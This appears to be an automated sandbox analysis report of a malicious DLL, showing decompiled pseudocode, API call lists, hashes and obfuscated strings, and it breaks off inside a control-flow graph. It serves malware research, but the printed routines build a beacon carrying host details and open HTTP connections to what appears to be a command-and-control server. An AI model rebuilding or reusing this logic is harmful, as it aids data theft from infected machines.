				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x27ca3e0; // 0x38c9be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x27ca2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x27ca018; // 0x14d7c998
					asm("bswap eax");
					_t34 =  *0x27ca014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x27ca010; // 0xd8d2f808
					asm("bswap eax");
					_t36 =  *0x27ca00c; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x27ca348; // 0x10fd5a8
					_t3 = _t37 + 0x27cb5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x27ca02c,  *0x27ca004, _t112);
					_t40 = E027C467F();
					_t41 =  *0x27ca348; // 0x10fd5a8
					_t4 = _t41 + 0x27cb575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x27ca348; // 0x10fd5a8
						_t8 = _t93 + 0x27cb508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x27ca348; // 0x10fd5a8
					_t10 = _t45 + 0x27cb246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E027C472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x27ca348; // 0x10fd5a8
						_t12 = _t88 + 0x27cb8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x27ca2d8, 0, _t105);
					}
					_t106 = E027C1340();
					if(_t106 != 0) {
						_t83 =  *0x27ca348; // 0x10fd5a8
						_t14 = _t83 + 0x27cb8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x27ca2d8, 0, _t106);
					}
					_t107 =  *0x27ca3cc; // 0x38c9600
					_a20 = E027C6B59(0x27ca00a, _t107 + 4);
					_t53 =  *0x27ca36c; // 0x38c95b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x27ca348; // 0x10fd5a8
						_t17 = _t80 + 0x27cb8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0x27ca2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E027C2915(GetTickCount());
							_t59 =  *0x27ca3cc; // 0x38c9600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x27ca3cc; // 0x38c9600
							__imp__(_t63 + 0x40);
							_t65 =  *0x27ca3cc; // 0x38c9600
							_t66 = E027C6675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x27c9280);
								_push(_t119);
								_t71 = E027C7563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E027C21A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E027C63F6();
									}
									HeapFree( *0x27ca2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x27ca2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x27ca2d8, _t109, _t116); // executed
						}
						HeapFree( *0x27ca2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x27ca2d8, _t109, _t98); // executed
				}
				return _v16;
			}


























































                    0x027c3ce0
                    0x027c3ce0
                    0x027c3ce0
                    0x027c3cf5
                    0x027c3cf7
                    0x027c3cfc
                    0x027c3d00
                    0x027c3d08
                    0x027c3d0e
                    0x027c3d12
                    0x027c3d1a
                    0x027c3d22
                    0x027c3d22
                    0x027c3d24
                    0x027c3d30
                    0x027c3d3f
                    0x027c3d44
                    0x027c3d47
                    0x027c3d4c
                    0x027c3d4f
                    0x027c3d54
                    0x027c3d57
                    0x027c3d63
                    0x027c3d70
                    0x027c3d72
                    0x027c3d78
                    0x027c3d7d
                    0x027c3d88
                    0x027c3d8a
                    0x027c3d8d
                    0x027c3d93
                    0x027c3d95
                    0x027c3d9e
                    0x027c3da9
                    0x027c3dab
                    0x027c3dae
                    0x027c3dae
                    0x027c3db0
                    0x027c3db5
                    0x027c3dc1
                    0x027c3dc3
                    0x027c3dc6
                    0x027c3dc8
                    0x027c3dcd
                    0x027c3dd1
                    0x027c3dd3
                    0x027c3dd8
                    0x027c3de4
                    0x027c3de6
                    0x027c3df2
                    0x027c3df4
                    0x027c3df4
                    0x027c3dff
                    0x027c3e03
                    0x027c3e05
                    0x027c3e0a
                    0x027c3e16
                    0x027c3e18
                    0x027c3e24
                    0x027c3e26
                    0x027c3e26
                    0x027c3e2c
                    0x027c3e3f
                    0x027c3e43
                    0x027c3e48
                    0x027c3e4c
                    0x027c3e4f
                    0x027c3e54
                    0x027c3e5e
                    0x027c3e60
                    0x027c3e67
                    0x027c3e7f
                    0x027c3e83
                    0x027c3e8f
                    0x027c3e94
                    0x027c3e9d
                    0x027c3eae
                    0x027c3eb2
                    0x027c3ebb
                    0x027c3ec1
                    0x027c3ec9
                    0x027c3ece
                    0x027c3edb
                    0x027c3ee1
                    0x027c3eed
                    0x027c3ef3
                    0x027c3ef4
                    0x027c3ef9
                    0x027c3eff
                    0x027c3f05
                    0x027c3f0c
                    0x027c3f13
                    0x027c3f19
                    0x027c3f20
                    0x027c3f24
                    0x027c3f2f
                    0x027c3f34
                    0x027c3f3a
                    0x027c3f43
                    0x027c3f43
                    0x027c3f54
                    0x027c3f5a
                    0x027c3f5a
                    0x027c3f64
                    0x027c3f64
                    0x027c3f72
                    0x027c3f72
                    0x027c3f83
                    0x027c3f83
                    0x027c3f91
                    0x027c3f91
                    0x027c3fa2

                    APIs
                    • RtlAllocateHeap.NTDLL ref: 027C3D08
                    • GetTickCount.KERNEL32 ref: 027C3D1C
                    • wsprintfA.USER32 ref: 027C3D6B
                    • wsprintfA.USER32 ref: 027C3D88
                    • wsprintfA.USER32 ref: 027C3DA9
                    • wsprintfA.USER32 ref: 027C3DC1
                    • wsprintfA.USER32 ref: 027C3DE4
                    • HeapFree.KERNEL32(00000000,00000000), ref: 027C3DF4
                    • wsprintfA.USER32 ref: 027C3E16
                    • HeapFree.KERNEL32(00000000,00000000), ref: 027C3E26
                    • wsprintfA.USER32 ref: 027C3E5E
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 027C3E79
                    • GetTickCount.KERNEL32 ref: 027C3E89
                    • RtlEnterCriticalSection.NTDLL(038C95C0), ref: 027C3E9D
                    • RtlLeaveCriticalSection.NTDLL(038C95C0), ref: 027C3EBB
                      • Part of subcall function 027C6675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66A0
                      • Part of subcall function 027C6675: lstrlen.KERNEL32(00000000,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66A8
                      • Part of subcall function 027C6675: strcpy.NTDLL ref: 027C66BF
                      • Part of subcall function 027C6675: lstrcat.KERNEL32(00000000,00000000), ref: 027C66CA
                      • Part of subcall function 027C6675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,027C3ECE,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C66E7
                    • StrTrimA.SHLWAPI(00000000,027C9280,00000000,038C9600), ref: 027C3EED
                      • Part of subcall function 027C7563: lstrlen.KERNEL32(038C9BD0,00000000,00000000,00000000,027C3EF9,00000000), ref: 027C7573
                      • Part of subcall function 027C7563: lstrlen.KERNEL32(?), ref: 027C757B
                      • Part of subcall function 027C7563: lstrcpy.KERNEL32(00000000,038C9BD0), ref: 027C758F
                      • Part of subcall function 027C7563: lstrcat.KERNEL32(00000000,?), ref: 027C759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 027C3F0C
                    • lstrcpy.KERNEL32(00000000,?), ref: 027C3F13
                    • lstrcat.KERNEL32(00000000,?), ref: 027C3F20
                    • lstrcat.KERNEL32(00000000,00000000), ref: 027C3F24
                      • Part of subcall function 027C21A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 027C2258
                    • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 027C3F54
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 027C3F64
                    • RtlFreeHeap.NTDLL(00000000,00000000,00000000,038C9600), ref: 027C3F72
                    • HeapFree.KERNEL32(00000000,?), ref: 027C3F83
                    • RtlFreeHeap.NTDLL(00000000,00000000), ref: 027C3F91
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                    • String ID:
                    • API String ID: 186568778-0
                    • Opcode ID: 755c70cd468ec0b147fd2d22893de6b70fe29c23263a5566394b74238978bbea
                    • Instruction ID: c651adf711cd8af0b30621cf9c72b828a11d3a246a329ac30b233938976b3d00
                    • Opcode Fuzzy Hash: 755c70cd468ec0b147fd2d22893de6b70fe29c23263a5566394b74238978bbea
                    • Instruction Fuzzy Hash: 20719D72840219EFC751AF78EC49E573BE8EB88715B35892CF909D3210E7319964DB61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB89072 Relevance: 36.2, APIs: 14, Strings: 6, Instructions: 1195threadCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$CurrentExistsFileMax_valueMin_valuePathThread
                    • String ID: BjtTnvECtzpaEijcqqyxbHCeelZu$TOWPPRItybQbD$qfjImKAhRYWUcTzpUMAg$qfjImKAhRYWUcTzpUMAg$vAWtYjvVXcbI$wRkgOdOTeLDXF
                    • API String ID: 1146340092-603009307
                    • Opcode ID: 75f6146be4414aaf2b0eaf3e56a366b0ca7e4dad1ac1a1d471bed039983445c3
                    • Instruction ID: 31c3f508b664ab8128225ab85f58c3096681d3d52341605615adecb6a4b186ca
                    • Opcode Fuzzy Hash: 75f6146be4414aaf2b0eaf3e56a366b0ca7e4dad1ac1a1d471bed039983445c3
                    • Instruction Fuzzy Hash: 22C26670D062A8CBDF24CF54CC98BEDB7B5BB41309F5441D9D4096BA80DB759A88CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB88190 Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 112registrystringCOMMONLIBRARYCODE
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$CurrentDirectoryEnumHandleModuleOpenlstrlen
                    • String ID: SOFTWAREMicrosoft
                    • API String ID: 2181899111-2018505035
                    • Opcode ID: 73d0b850789b3d62b23f766745bbec02d9c5ad4e1212bee6d18ced9a0dd11233
                    • Instruction ID: 5ee512924f17303a0c33984aa63d3deb8e2cf28fa8a0c304a66e3b2328803901
                    • Opcode Fuzzy Hash: 73d0b850789b3d62b23f766745bbec02d9c5ad4e1212bee6d18ced9a0dd11233
                    • Instruction Fuzzy Hash: 1151EB30920198DFDB29DFA0DD55AEDB778EF25309F904098992926691EF342F48CF71
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB876F0 Relevance: 33.8, APIs: 13, Strings: 6, Instructions: 600COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: iGROCK$lXKyiqcrMwbANfWbF$mzBkkozeXkwSZUTzMWLGiQ$rMn$rrNXhVnTqknuBweEbKbHOtqRlGGqhcAkMIvpTc$svqG
                    • API String ID: 1384045349-4232882824
                    • Opcode ID: 17a0f11fb16b919b4f5a2bce24b6f1a0de368e4532cd11e62ed2fbde96ab11b4
                    • Instruction ID: 5ce40002225331def867ccffc8c6a948a9b991bea650f2beb1aa4c9e5b8e68fb
                    • Opcode Fuzzy Hash: 17a0f11fb16b919b4f5a2bce24b6f1a0de368e4532cd11e62ed2fbde96ab11b4
                    • Instruction Fuzzy Hash: 92526A70E052A8CBDB24CF54C894BEDB7B5BF1130CF544199E4197BA80DBB45A89CFA2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB80FF8 Relevance: 27.4, APIs: 10, Strings: 5, Instructions: 1127COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: AJDJFduUOPxqpzaMuweOwHXYCbmQEaWOndD$GLLWbagNpjucZJFCtR$GXeYvYO$WrBHTPeHkktnbdGW$bRxdkSsuOTdZq
                    • API String ID: 1384045349-2201906149
                    • Opcode ID: efb0765213075fd8808f7cab3edbe51ed6922bc1d2d718dd695f0acde6c66689
                    • Instruction ID: 21bedbea6b07a4a6bdf5d0aa5d32841a8549dc5c083f07bf55ba617b39742c33
                    • Opcode Fuzzy Hash: efb0765213075fd8808f7cab3edbe51ed6922bc1d2d718dd695f0acde6c66689
                    • Instruction Fuzzy Hash: F7C278709062A9CBDF24CF44CC98BEDB7B1BB45309F5841D9D4192BA80DBB59AC8CF52
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB7901C Relevance: 26.2, APIs: 17, Instructions: 713COMMON
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$char_traits
                    • String ID:
                    • API String ID: 1455298312-0
                    • Opcode ID: 1f724c84252b0d3abc54a2e58f9c24e71dd42cbac338b8565e16200b92ec0c24
                    • Instruction ID: 04eb7e0c12d863700d6d0353798bbc0545ccb3422b47b08fb3c8b353af9a1537
                    • Opcode Fuzzy Hash: 1f724c84252b0d3abc54a2e58f9c24e71dd42cbac338b8565e16200b92ec0c24
                    • Instruction Fuzzy Hash: 9D626871D041A8DBDB34CF54CC84BEDB7B5AB45308F5481D9D8296BA40EB74AAC8CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8267C Relevance: 20.3, APIs: 8, Strings: 3, Instructions: 1023threadCOMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$CurrentThread
                    • String ID: aLfqB$berisKqRTIiVmzaIFzMoyjILiDtfEh$ncAdSbmFiCi
                    • API String ID: 1268046881-658361386
                    • Opcode ID: c1fcde726bfbb32278906b60045f3a342e9e083ef96c23bab57962bf6b7b96bb
                    • Instruction ID: a180adae0b6522d39fd929a43a912df3a1adb8a173e12d551f001e04a1c654ee
                    • Opcode Fuzzy Hash: c1fcde726bfbb32278906b60045f3a342e9e083ef96c23bab57962bf6b7b96bb
                    • Instruction Fuzzy Hash: A6B23B709062A9CBEF24CF54CC98BEDB7B1BB41309F5441D9D4096BA80DBB59AC8CF52
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C7B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2905 27c7b83-27c7bad lstrlen call 27c33dc 2908 27c7baf-27c7bc0 InternetCanonicalizeUrlA 2905->2908 2909 27c7bd5-27c7beb InternetOpenA 2905->2909 2910 27c7bcf-27c7bd0 call 27c61da 2908->2910 2911 27c7bc2-27c7bcd call 27c61da 2908->2911 2912 27c7cd4 GetLastError 2909->2912 2913 27c7bf1-27c7c00 InternetSetStatusCallback 2909->2913 2910->2909 2911->2909 2915 27c7cda-27c7cdd 2912->2915 2913->2912 2917 27c7c06-27c7c27 ResetEvent InternetConnectA 2913->2917 2919 27c7c4f-27c7c7a HttpOpenRequestA 2917->2919 2920 27c7c29-27c7c34 GetLastError 2917->2920 2919->2912 2922 27c7c7c-27c7c9b InternetQueryOptionA 2919->2922 2920->2912 2921 27c7c3a-27c7c49 call 27c16b2 2920->2921 2921->2912 2921->2919 2924 27c7c9d-27c7cae InternetSetOptionA 2922->2924 2925 27c7cb0-27c7cbe InternetSetOptionA 2922->2925 2924->2925 2925->2912 2927 27c7cc0-27c7cce InternetSetOptionA 2925->2927 2927->2912 2928 27c7cd0-27c7cd2 2927->2928 2928->2915
                    C-Code - Quality: 92%
                    			E027C7B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E027C33DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E027C61DA(_t56);
					} else {
						E027C61DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E027C7B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E027C16B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x27ca348; // 0x10fd5a8
						_t15 = _t59 + 0x27cb845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                    0x027c7b83
                    0x027c7b83
                    0x027c7b8e
                    0x027c7b95
                    0x027c7b9d
                    0x027c7ba7
                    0x027c7bad
                    0x027c7bc0
                    0x027c7bd0
                    0x027c7bc2
                    0x027c7bc5
                    0x027c7bca
                    0x027c7bca
                    0x027c7bc0
                    0x027c7be0
                    0x027c7be6
                    0x027c7beb
                    0x027c7cd4
                    0x00000000
                    0x027c7c06
                    0x027c7c09
                    0x027c7c1c
                    0x027c7c22
                    0x027c7c27
                    0x027c7c4f
                    0x027c7c62
                    0x027c7c6c
                    0x027c7c6f
                    0x027c7c75
                    0x027c7c7a
                    0x00000000
                    0x00000000
                    0x027c7c7e
                    0x027c7c8a
                    0x027c7c9b
                    0x027c7c9d
                    0x027c7cae
                    0x027c7cae
                    0x027c7cbe
                    0x00000000
                    0x027c7cd0
                    0x00000000
                    0x027c7cd0
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c7c27

                    APIs
                    • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 027C7B95
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 027C7BB8
                    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 027C7BE0
                    • InternetSetStatusCallback.WININET(00000000,027C7B18), ref: 027C7BF7
                    • ResetEvent.KERNEL32(?), ref: 027C7C09
                    • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 027C7C1C
                    • GetLastError.KERNEL32 ref: 027C7C29
                    • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 027C7C6F
                    • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 027C7C8D
                    • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 027C7CAE
                    • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 027C7CBA
                    • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 027C7CCA
                    • GetLastError.KERNEL32 ref: 027C7CD4
                      • Part of subcall function 027C61DA: RtlFreeHeap.NTDLL(00000000,00000000,027C6383,00000000,?,00000000,00000000), ref: 027C61E6
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                    • String ID:
                    • API String ID: 2290446683-0
                    • Opcode ID: 5a24185aabbfbd5228674fccfba16e0779b2de39d9696649889086b6c704b277
                    • Instruction ID: 97207329fc3f4aa797c8ac9c3745d648a12e01b4b9a9095438c24fade00f790c
                    • Opcode Fuzzy Hash: 5a24185aabbfbd5228674fccfba16e0779b2de39d9696649889086b6c704b277
                    • Instruction Fuzzy Hash: B0417F71940609BFEB369F75DD88E6BBBBDEB84705B20891CF612E1190EB309554CF20
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C7FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2929 27c7fc5-27c802a 2930 27c802c-27c8046 RaiseException 2929->2930 2931 27c804b-27c8075 2929->2931 2932 27c81fb-27c81ff 2930->2932 2933 27c807a-27c8086 2931->2933 2934 27c8077 2931->2934 2935 27c8088-27c8093 2933->2935 2936 27c8099-27c809b 2933->2936 2934->2933 2935->2936 2944 27c81de-27c81e5 2935->2944 2937 27c80a1-27c80a8 2936->2937 2938 27c8143-27c814d 2936->2938 2942 27c80b8-27c80c5 LoadLibraryA 2937->2942 2943 27c80aa-27c80b6 2937->2943 2940 27c814f-27c8157 2938->2940 2941 27c8159-27c815b 2938->2941 2940->2941 2945 27c815d-27c8160 2941->2945 2946 27c81d9-27c81dc 2941->2946 2947 27c8108-27c8114 InterlockedExchange 2942->2947 2948 27c80c7-27c80d7 GetLastError 2942->2948 2943->2942 2943->2947 2950 27c81f9 2944->2950 2951 27c81e7-27c81f4 2944->2951 2953 27c818e-27c819c GetProcAddress 2945->2953 2954 27c8162-27c8165 2945->2954 2946->2944 2957 27c813c-27c813d FreeLibrary 2947->2957 2958 27c8116-27c811a 2947->2958 2955 27c80d9-27c80e5 2948->2955 2956 27c80e7-27c8103 RaiseException 2948->2956 2950->2932 2951->2950 2953->2946 2960 27c819e-27c81ae GetLastError 2953->2960 2954->2953 2959 27c8167-27c8172 2954->2959 2955->2947 2955->2956 2956->2932 2957->2938 2958->2938 2961 27c811c-27c8128 LocalAlloc 2958->2961 2959->2953 2962 